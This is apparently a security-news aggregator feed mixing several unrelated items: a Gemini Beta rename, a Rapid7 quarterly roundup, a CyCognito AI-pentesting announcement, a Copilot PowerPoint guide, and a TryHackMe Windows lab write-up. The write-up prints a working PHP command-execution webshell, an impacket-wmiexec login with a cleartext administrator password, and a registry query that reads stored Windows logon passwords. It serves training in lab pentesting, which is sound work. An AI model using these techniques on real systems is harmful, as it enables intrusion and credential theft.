]]> <![CDATA[Gemini Alpha is now Gemini Beta]]> https://tsecurity.de/de/3687298/web-tipps/gemini-alpha-is-now-gemini-beta/ https://tsecurity.de/de/3687298/web-tipps/gemini-alpha-is-now-gemini-beta/ Wed, 22 Jul 2026 20:31:40 +0200 Web Tipps tsecurity.de We’re updating the name of the Gemini Alpha program to "Gemini Beta." This new name more accurately reflects both the scale and the quality of the features that enter this launch stage. Please note that this is solely a branding change. This update does not alter any customer configurations, data privacy constraints, or pricing tiers. All existing admin controls and customer opt-ins are fully preserved. Your current Terms of Service continue to apply, and customers do not need to re-sign any agreements.

As a reminder, we’ll continue to announce new Gemini Beta features in the Google Developer Program (GDP) forum and the Gemini Beta Help Center. You must be an active Workspace customer and register to access GDP content; follow these instructions to sign up.

Getting started

  • Admins: There is no change to existing admin controls. You will begin to see the "Gemini Beta" label replace "Gemini Alpha" in the Admin console and Help Center articles over the next several weeks.
  • End users: There is no end user setting for this change.

Rollout pace

Availability

  • Business: Business Starter, Standard, and Plus
  • Enterprise: Enterprise Starter, Standard, and Plus
  • Education Add-ons: Google AI Pro for Education

Resources

]]> <![CDATA[Loop Engineering for RAG Generation: iterate top-k one at a time]]> https://tsecurity.de/de/3687062/ai-nachrichten/loop-engineering-for-rag-generation-iterate-top-k-one-at-a-time/ https://tsecurity.de/de/3687062/ai-nachrichten/loop-engineering-for-rag-generation-iterate-top-k-one-at-a-time/ Wed, 22 Jul 2026 18:49:16 +0200 🔧 AI Nachrichten tsecurity.de Enterprise Document Intelligence [Vol.1 #8bis] - Two regimes for sending retrieved candidates to the generation brick, the sufficiency signal that picks between them, and the per-question type dispatch that makes it cheap

The post Loop Engineering for RAG Generation: iterate top-k one at a time appeared first on Towards Data Science.

]]> <![CDATA[Lawmakers want Trump to investigate EU's 'anti-American' Digital Markets Act]]> https://tsecurity.de/de/3687046/ios-mac-os/lawmakers-want-trump-to-investigate-eus-anti-american-digital-markets-act/ https://tsecurity.de/de/3687046/ios-mac-os/lawmakers-want-trump-to-investigate-eus-anti-american-digital-markets-act/ Wed, 22 Jul 2026 18:40:09 +0200 🍏 iOS / Mac OS tsecurity.de
Man in suit and red tie holds up an open document with text and a large bold signature, standing outdoors in front of a blurred American flag backdrop
U.S. President Donald Trump

The European Union's Digital Markets Act has been a thorn in Apple's side since its introduction. Lawmakers in the United States want something done to fight what they consider to be rules that target U.S. Big Tech firms unfairly.

A letter signed by 25 Republicans, including seven members of the House of Representatives Trade Subcommittee, has been sent to Trump, urging him to open trade investigations against the E.U. The letter, seen by Reuters on July 21, focuses chiefly on the Digital Markets Act as a tool that works against U.S. firms.


Continue Reading on AppleInsider | Discuss on our Forums]]> <![CDATA[USN-8585-1: Kerberos vulnerabilities]]> https://tsecurity.de/de/3686707/unix-server/usn-8585-1-kerberos-vulnerabilities/ https://tsecurity.de/de/3686707/unix-server/usn-8585-1-kerberos-vulnerabilities/ Wed, 22 Jul 2026 16:55:07 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8586-1: libgphoto2 vulnerabilities]]> https://tsecurity.de/de/3686706/unix-server/usn-8586-1-libgphoto2-vulnerabilities/ https://tsecurity.de/de/3686706/unix-server/usn-8586-1-libgphoto2-vulnerabilities/ Wed, 22 Jul 2026 16:55:05 +0200 🐧 Unix Server tsecurity.de <![CDATA[What’s New in Rapid7 Products and Services: Q2 2026 in Review]]> https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/ https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/ Wed, 22 Jul 2026 16:30:13 +0200 📰 IT Security Nachrichten tsecurity.de If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity while increasing speed, context, and confidence in their day-to-day operations. Here’s a closer look at what launched in Q2.

Detection and response

Streamline investigations with bidirectional and enriched Microsoft Defender alerts

Bidirectional synchronization and enriched alert context for Microsoft Defender is now generally available for SIEM and MDR customers, enabling security teams to automatically synchronize alert status between Rapid7's SIEM and the Microsoft Defender console. With added process tree and user identity context, analysts can investigate threats more efficiently while reducing manual effort.

Confidently scale detection engineering with Detection as Code

Detection as Code enables security teams to build, test, version, and deploy detections using Terraform and modern engineering workflows. Built-in validation, guardrails, and version control help teams deliver higher-quality alerts, maintain more consistent coverage, and scale detection engineering more effectively.

rapid7-detection-as-code-methodology.png
Figure 1: Rapid7's Detection as Code methodology.

Strengthen ransomware resilience with Ransomware Prevention for Incident Command

Ransomware Prevention for Incident Command adds an intent-based layer of protection designed to stop ransomware encryption and endpoint damage before they disrupt operations. Built into the Insight Agent, this capability strengthens ransomware resilience while working alongside existing endpoint security investments, without adding operational complexity.

Compliance

New solutions webpages

Across the globe, cybersecurity regulation is shifting away from static compliance checklists and toward ongoing risk management that blends proactive defense with effective detection and response. Rapid7’s platform, which brings exposure management and CTEM together with detection, response, and MDR, is well positioned to help organizations operationalize compliance across mandates such as NIS2, NIST CSF 2.0, DORA, HIPAA, HITRUST, and GovRAMP. To support that effort, Rapid7 has launched an updated library of dedicated compliance solution pages that map platform capabilities to the requirements that matter most across industries and regions. The first set of pages is live now, with more to follow in the coming weeks.

rapid7-govramp-compliance.png
Figure 2: Rapid7's new GovRAMP compliance solutions page.

Exposure management

Turn prioritized exposures into remediation progress

We improved Remediation Hub to help teams turn prioritized exposures into more actionable remediation progress. Updates to the Top Remediations Report add asset-level context, including operating system, IP address, cloud provider, tags, endpoint protection, and patch management details, so teams can better understand what needs to be fixed and who needs to act.

With clearer patch and endpoint coverage signals, reboot status, customizable filters, exportable reports, and scheduled email delivery, teams can spend less time assembling manual updates and more time tracking the remediation work that reduces risk. Read the full blog to learn more about how Exposure Command helps teams move from prioritized exposures to remediation progress.

AI pre-triage for AppSec findings

Rapid7 is also making application security testing faster and more focused with AI vulnerability pre-triaging for InsightAppSec. Available now for AppSec customers in supported regions, the capability uses AI to automatically remove false positives during the scan process, helping teams spend less time manually reviewing findings and more time remediating actual risk.

Initial coverage started with BlindSQL, and the latest engine release adds AI validation for BlindNoSQL findings, including content-based and timing-based detections. The result is a cleaner, more confident view of application risk, so security teams can focus on high-impact vulnerabilities and accelerate remediation with less manual effort.

Attack surface management

Open-source MCP Server and Agent Skill

We are delighted to announce the introduction of a free, open-source MCP Server and Agent Skill for Bulk Export. Bulk export is a highly efficient way to access all your Rapid7 vulnerability and exposure data to AI assistants and custom AI workflows. Built as an open-source bridge, it helps customers bring their Rapid7 data into the tools and experiences that work best for their teams. Check out our blog for more detail.

rapid7-ai-agent-skill.png
Figure 3: Agent Skill for Bulk Export.

Turn exposure filters into live dashboards

Surface Command also made exposure reporting easier with filter-based dashboard widgets. Teams can now turn saved asset and identity filters into live dashboards without writing Cypher queries, making it faster to track high-risk internet-facing assets, identity-driven exposure hotspots, unmanaged cloud infrastructure, and business-unit risk.

For continuous threat exposure management programs, this helps teams move from one-off reporting to repeatable, always-on views of exposure risk and remediation progress. Read this blog to learn more. 

Platform and Labs

Rapid7 Command Platform

Cyber GRC

Rapid7 introduced Cyber GRC to select customers in Q2, giving teams an early look at a new way to connect security, risk, compliance, and third-party risk management in one program. Available to both Exposure Management and Detection and Response customers, Cyber GRC brings governance and compliance workflows closer to the security data teams already use every day.

Cyber GRC will be broadly available in late July. It helps organizations move toward continuous compliance by mapping controls to real environment telemetry, automating evidence collection, and prioritizing risk with live attack surface context. That means teams can spend less time chasing audit artifacts, screenshots, and vendor risk details, and more time understanding which controls, assets, third parties, and risks need attention now.

Rapid7 Labs

Rapid7 Quarterly Threat Landscape Report

The Rapid7 Quarterly Threat Landscape Report examines the key trends shaping today's threat landscape, drawing on MDR incident response, vulnerability intelligence, ransomware monitoring, and dark web telemetry. Q1 2026 data highlights the growing dominance of vulnerability exploitation as an initial access vector, the rise of zero-click vulnerabilities, evolving ransomware operations, and the accelerating pace at which attackers operationalize newly disclosed vulnerabilities. Read the report to explore all key findings and takeaways.

rapid7-quarterly-threat-report.png
Figure 4: Rapid7's quarterly threat report.

The latest threat research

Rapid7 researchers explored emerging trends shaping the threat landscape, including the growing commercialization of criminal AI-as-a-Service and the evolving tradecraft of advanced threat actors. From the underground adoption of AI tools for fraud and social engineering to an in-depth analysis of the Dropping Elephant malware campaign, these reports provide actionable intelligence on how attackers are adapting their techniques and what defenders can do to stay ahead.

Emergent Threat Response

This quarter's Emergent Threat Response (ETR) coverage highlights a sustained wave of high-impact vulnerabilities affecting widely deployed enterprise technologies, including Oracle PeopleSoft, Palo Alto Networks PAN-OS, Check Point VPN, Ivanti Sentry, cPanel/WHM, and Nginx UI. For each of these CVEs, Rapid7 tracked active exploitation and rapidly evolving attacker activity to provide timely guidance to help defenders assess risk and respond quickly. See all the details, and our latest ETR coverage, here.

From strengthening detection and response to advancing exposure management, expanding governance capabilities, and delivering actionable threat intelligence, Q2 demonstrated Rapid7’s continued focus on helping security teams do more with less complexity. Every enhancement this quarter was designed to reduce manual effort, surface the context that matters, and help organizations make faster, more confident security decisions. We’re carrying that momentum into the rest of the year, so stay tuned to our blog and releases as we continue building the security operations platform that helps defenders stay ahead of what’s next.

]]> <![CDATA[CyCognito Brings Always-On AI Pentesting to External Attack Surface Management]]> https://tsecurity.de/de/3686433/it-security-nachrichten/cycognito-brings-always-on-ai-pentesting-to-external-attack-surface-management/ https://tsecurity.de/de/3686433/it-security-nachrichten/cycognito-brings-always-on-ai-pentesting-to-external-attack-surface-management/ Wed, 22 Jul 2026 15:14:15 +0200 📰 IT Security Nachrichten tsecurity.de

CyCognito, a leading exposure management platform, today introduced Continuous AI Pentesting. The new capability bakes AI-driven offensive pentesting directly into the platform, leveraging the rich context it already maintains for every exposed asset. This enables CyCognito to deliver AI pentesting as a continuous service, circumventing the cost and coverage constraints that confine comparable solutions to periodic, narrowly scoped engagements.

With this new solution, CyCognito addresses a major shift in the security ecosystem, driven by the latest advances in AI. Today’s models, with more advanced ones on the way, have lowered the bar for attackers. An attack campaign that once required a group of skilled threat actors can now be carried out by a low-skilled individual, in a fraction of the time and at relatively low cost. This signals a tectonic shift that compels defenders to adopt the same technology to keep pace and close the security gaps in their own environment.

Continuous AI Pentesting: Solution architecture, at a glance.

“AI pentesting is rapidly becoming part of every security team’s toolkit, and a lot of it is already being done in-house,” said Rob Gurzeev, CEO and co-founder of CyCognito. “But running offensive AI isn’t the hard part. The challenge is scale. AI pentesting today is typically limited to the top 1% of priority assets. Meanwhile, the other 99% is where a lot of attacks actually start, where adversaries find the low-hanging fruit and use it as a foothold for lateral movement.”

To provide AI pentesting coverage across that overlooked 99%, CyCognito built a distinct architecture that centers on the Target Graph, a contextual graph that bridges the AI pentesting solution and CyCognito’s three core modules:

  • Exposure Assessment maps the external footprint, attributes every asset to the right part of the organization, and enriches it with business and stack context.
  • Exposure Validation runs more than 100,000 deterministic tests continuously, freeing the AI pentesters to focus on high-judgment work.
  • Threat Intelligence draws on the history of existing and emerging vulnerabilities, along with attacker playbooks and statistical models trained on past engagements, to anticipate attacker activity.

Together, these layers increase the effectiveness of the pentesting agents, equipping them with the rich context and exploitability evidence, dramatically improving the efficiency of every run.

The architecture is also built to be constantly self-evolving. Every new risk scenario AI pentesters uncover can be hardcoded into the Exposure Validation module, joining the deterministic tests it already runs. This frees the AI agents to pursue new threats, and also consolidates learnings from agentic tests in a way that will benefit every CyCognito customer.

In the announcement for this new feature, the company also shared some of the vulnerabilities:

  • Unauthenticated access to a production CRM: an exposed MCP server allowed anonymous, natural-language queries against three million rows of account, opportunity, and financial data, with no credentials required.
  • A publicly readable RAG index: an AI agent stack enforced authentication only on its API, leaving the knowledge base behind it, which held customer data, contracts, and internal communications, open to anyone on the internet.
  • A building’s access controls exposed to the internet: a system running door locks, card readers, and CCTV sat unsegmented on the public internet alongside the organization’s AI document tools and chatbot, leaving physical entry reachable by a remote attacker.

These examples are just some of the risk scenarios identified through the work on this new capability, now running with select design partners, including major enterprises and Fortune 500 companies. Internally, CyCognito refers to the project as Project Kineto, after the Kinetograph, the first motion picture camera.

“The name echoes our vision for what AI pentesting should be,” said Gurzeev. “Security testing has always been a snapshot. AI lets us turn it into continuous motion: an always-on stream of change-aware tests that runs across your entire attack surface at machine speed, with the skill of a seasoned security expert.”

To go deeper on Continuous AI Pentesting, read the full announcement post: https://www.cycognito.com/blog/new-continuous-ai-pentesting/

About CyCognito

CyCognito is an external exposure management platform that reduces risk by discovering, testing and prioritizing security issues. 

The platform scans billions of websites, cloud applications and APIs and uses advanced AI to identify the most critical risks and guide remediation. Emerging companies, government agencies and Fortune 500 organizations rely on CyCognito to secure and protect from growing threats. For more information, visit https://www.cycognito.com.

Contact

VP Marketing

Igal Zeifman

CyCognito

igal.zeifman@cycognito.com

]]> <![CDATA[10 cool things Copilot can do in PowerPoint]]> https://tsecurity.de/de/3686068/it-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/ https://tsecurity.de/de/3686068/it-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/ Wed, 22 Jul 2026 13:05:35 +0200 📰 IT Nachrichten tsecurity.de

Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.

In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.

Who can use Copilot in PowerPoint

Individuals with a Microsoft 365 Personal, Family, or Premium subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have higher Copilot usage allowances and access to advanced AI features.

For business users, it’s more complicated. Organizations with more than 2,000 users must pay for Microsoft 365 Copilot licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are limitations in usage, speed, and feature availability.

To see what kind of access you have, log in to Microsoft’s Copilot Chat web hub and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.

(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our Copilot Chat tutorial for details.)

In this article:

Working with Copilot in PowerPoint

First, let’s quickly go over the notable settings of the Copilot sidebar.

When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.

powerpoint screen with copilot sidebar open on right

The sidebar on the right is where you interact with Copilot in PowerPOint.


Howard Wen / Foundry

Agent mode: By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the Allow editing button above the chat window and change it to Chat only.

The tips in this guide require that Copilot be in agent mode, so make sure you see Allow editing above the chat window.

Choice of AI model: Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT.  By default, it decides which model to use based on your prompt. You can set it to use a particular model: click Auto at the upper right of the Copilot pane and select a model from the dropdown that opens.

screenshot of copilot sidebar in powerpoint with models dropdown menu open

You can choose which AI model you want Copilot to use for a request.

Howard Wen / Foundry

The tips in this guide should work fine on the default Auto setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.

Important: Remember that generative AI output often includes errors, so always check Copilot’s output for accuracy. (Also see our tips for reducing hallucinations in Copilot.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.

1. Create a presentation template

For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.

Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.

A good prompt should contain the slide count, subject, audience, and tone. Example:

  • Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.

Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.

screenshot of powerpoint presentation generated by copilot with placeholder data

Copilot generates a presentation with placeholder data and explains its elements.

Howard Wen / Foundry

You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.

2. Create a presentation from a document

You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.

Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.

In the Copilot pane, click the + icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)

screenshot of copilot sidebar in powerpoint with a document being attached for copilot to base a presentation on

Attaching a document for Copilot to base a presentation on.

Howard Wen / Foundry

Then in the chat window, you can enter a prompt that’s as simple as “Create a presentation,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.

Answer any follow-up questions that Copilot asks, and it will then generate the presentation.

screenshot of powerpoint with a presentation generated by copilot from a document

Copilot has generated a professional presentation from a social media marketing campaign document.

Howard Wen / Foundry

Note: Your marketing department may have created one or more branded company templates for Copilot to work from. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.

3. Add content from a document to a slide

Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.

In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:

  • Add a slide based on the attached document.
  • Use the attached file to add a slide about the project budget that focuses on Q1 projections.
  • Summarize only the financial section of the attached document as a slide.
screenshot of a slide in powerpoint generated by copilot from spreadsheet data

A new Copilot-generated slide based on data from an Excel spreadsheet.

Howard Wen / Foundry

4. Refine your slide text

A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.

You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click Edit with Copilot.

On the menu that opens, you can select a preset prompt to refine the text, such as Condense or Make professional. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.

screenshot of text on a powerpoint slide with copilot dropdown menu includng condense and make professional options

Choose a preset prompt for refining text on a slide or type in your own prompt.

Howard Wen / Foundry

Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.

Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:

  • Make these slides more visual and use less text.

5. Find or create an image

If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.

To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:

  • Add a stock photo of young adults in a cafe drinking boba tea.
  • Add a photo from our asset library of young adults in a cafe drinking boba tea.

To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:

  • Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.
screenshot of image generation prompt in copilot sidebar in powerpoint plus the resulting generated image on a slide

Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.

Howard Wen / Foundry

Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off.

Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.

6. Expand your presentation with relevant slides

As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.

In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:

  • Add a slide after slide 3 about our competitive advantages.
  • Add a slide after slide 11 that transitions to slide 12.
screenshot of powerpoint screen with copilot sidebar and a transition slide generated by copilot

Need a transition slide? Just ask!

Howard Wen / Foundry

7. Summarize a presentation

Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.

In the Copilot pane, just type “summarize this presentation.” You can also have Copilot flag key slides that contain important information: “show me key slides.”

screenshots of copilot sidebar in powerpoint - one with summarize results and one with key slides response

Ask Copilot to summarize a presentation or flag key slides.

Howard Wen / Foundry

8. Answer questions about a presentation

As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.

In the Copilot pane, type specific informational questions. Examples:

  • What are the action items in this deck?
  • What is the proposed budget mentioned here?

If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.

screenshot of copilot sidebar in powerpoint with response to query about proposed budget in the slide deck

Ask Copilot specific questions about the contents of a presentation.

Howard Wen / Foundry

This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)

You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.

9. Help you navigate a large presentation

In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.

In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:

  • Show me the slides about the project timeline.

Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.

screenshot of copilot sidebar in powerpoint with response about the slide that talks about target audience

Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.

Howard Wen / Foundry

10. Generate speaker notes and/or an FAQ

Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:

  • Write speaker notes for every slide with one talking point per slide.
screenshot of powerpoint presentation with speaker notes generated by copilot

Copilot can create speaker notes in seconds.

Howard Wen / Foundry

In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:

  • Write an FAQ for these slides.

Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.

screenshot of frequently asked questions slide generated by copilot in powerpoint

A Copilot-generated FAQ slide.

Howard Wen / Foundry

Related reading:

]]> <![CDATA[AllSignsPoint2Pwnage — TryHackMe Windows Write-up]]> https://tsecurity.de/de/3686039/hacking/allsignspoint2pwnage-tryhackme-windows-write-up/ https://tsecurity.de/de/3686039/hacking/allsignspoint2pwnage-tryhackme-windows-write-up/ Wed, 22 Jul 2026 13:01:32 +0200 🕵️ Hacking tsecurity.de AllSignsPoint2Pwnage is a Windows-based room on TryHackMe that requires the user to enumerate open SMB shares and upload a webshell to get an initial foothold on the target. After that one can find higher-level credentials on the target which can be leveraged to gain an administrator shell and gradually extract the admin flag. This room is great for anyone who’s venturing into Windows pentesting and needs practical experience dealing with vulnerable systems.

0x00: Enumeration

  • Started with running a TCP Scan on the target via Nmap.
nmap -sC -sV -p- 10.48.128.241 
Nmap scan report for 10.48.128.241
Host is up (0.039s latency).

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_11-14-20  04:26PM                  173 notice.txt
80/tcp   open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11
|_http-title: Simple Slide Show
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp  open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
|_http-title: Simple Slide Show
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
| http-methods: 
|_  Potentially risky methods: TRACE
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DESKTOP-997GG7D
| Not valid before: 2026-07-08T06:13:45
|_Not valid after:  2027-01-07T06:13:45
|_ssl-date: 2026-07-09T06:17:29+00:00; +2s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: DESKTOP-997GG7D
|   NetBIOS_Domain_Name: DESKTOP-997GG7D
|   NetBIOS_Computer_Name: DESKTOP-997GG7D
|   DNS_Domain_Name: DESKTOP-997GG7D
|   DNS_Computer_Name: DESKTOP-997GG7D
|   Product_Version: 10.0.18362
|_  System_Time: 2026-07-09T06:17:20+00:00
5900/tcp open  vnc           VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|     Ultra (17)
|_    VNC Authentication (2)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 1s, deviation: 0s, median: 0s
| smb2-time: 
|   date: 2026-07-09T06:17:22
|_  start_date: N/A
  • As revealed in the scan output, the target had open FTP and SMB services running. It also had VNC running on port 5900, which is a tool used to remotely control a computer. The target also had an Apache web server running on port 80.
  • I visited the webpage and saw a slideshow of several random images.
  • I checked the page source and found the following JavaScript code.
  • The code here revealed the /content.php file and the /images/ endpoint.
  • I visited the /images directory and found the following images that were running on the slideshow.
  • Next, I moved to FTP enumeration. I got access to the FTP directory because anonymous login was enabled.
  • There was a notice.txt file.
  • There was a message left in notice.txt written as follows.
  • It mentioned that the images FTP directory was moved to a Windows file share, which more probably than not referred to SMB shares.
  • Next, I moved on to SMB enumeration.

0x01: SMB Enumeration

  • I used smbclient to list the available shares on the target.
  • Here I could see several custom shares such as images$ , Installs$ and Users.
  • I first checked the images share and found the following images as I had seen in the /images directory on the webpage. I wondered if we could upload a webshell here and gain an initial foothold.
  • I got the PHP reverse shell from PentestMonkey, configured it with my custom IP address and port, and uploaded it to the images SMB share.
  • I navigated to the /images endpoint on the webpage and tried running the webshell but it immediately got flagged by Windows Defender and was deleted.
  • Next, I tried using a different webshell which executed commands and took the input via GET-based parameters.
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
  • I uploaded the shell again to the SMB images share and it worked like a charm!

0x02: Web Shell

  • I was logged in as the sign user. I looked for the user flag in the sign user directory.
  • The user flag was found in the user_flag.txt file.
  • Next, I checked out the Installs share in C:\ directory.
  • The following files were found in the directory.
  • There were a lot of interesting files to check out here. I viewed the contents of every file, starting with Install Guide.txt .
  • I couldn’t figure out how these instructions could be of any use to me, so I moved on to other files.
  • I checked the Install_www_and_deploy.bat script and found the following code.
  • This seemed like a batch script that was running the infamous PsExec tool by Impacket, authenticating with administrator credentials. Here, I could view the admin password in cleartext, which could be used to gain a high-privilege shell to the target.
  • I used Impacket’s WMIExec tool to get a shell on the target. I could have used PsExec, but considering Windows Defender was running on the target, it would have been easily flagged.
impacket-wmiexec Administrator:RCYCc3GIjM0v98HDVJ1KOuUm4xsWUxqZabeofbbpAss9KCKpYfs2rCi@10.48.186.208

0x03: Admin Shell

  • I also had to find the sign user’s password as per the objectives stated in the room. It took me quite a few lookups on Google till I eventually found a way to get the password from the Windows Registry.
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
  • I was able to fetch the user's password from the Winlogon registry key.
  • Next, I had to find the VNC password. My first instinct was to return to the Installs share as before and look through the ultravnc.ini file.
  • I had successfully obtained the VNC password. The only objective that remained was the administrator flag.
  • I checked the Desktop folder of the Administrator and found the admin flag in admin_flag.txt .
  • And with that, all the flags were obtained, and the room was solved!

I hope you found this write-up useful. Make sure to drop a follow for more such content in the future.

Happy Hacking!

AllSignsPoint2Pwnage — TryHackMe Windows Write-up was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

]]> <![CDATA[Leadership bottlenecks slow AI adoption]]> https://tsecurity.de/de/3685910/it-security-nachrichten/leadership-bottlenecks-slow-ai-adoption/ https://tsecurity.de/de/3685910/it-security-nachrichten/leadership-bottlenecks-slow-ai-adoption/ Wed, 22 Jul 2026 12:14:12 +0200 📰 IT Security Nachrichten tsecurity.de

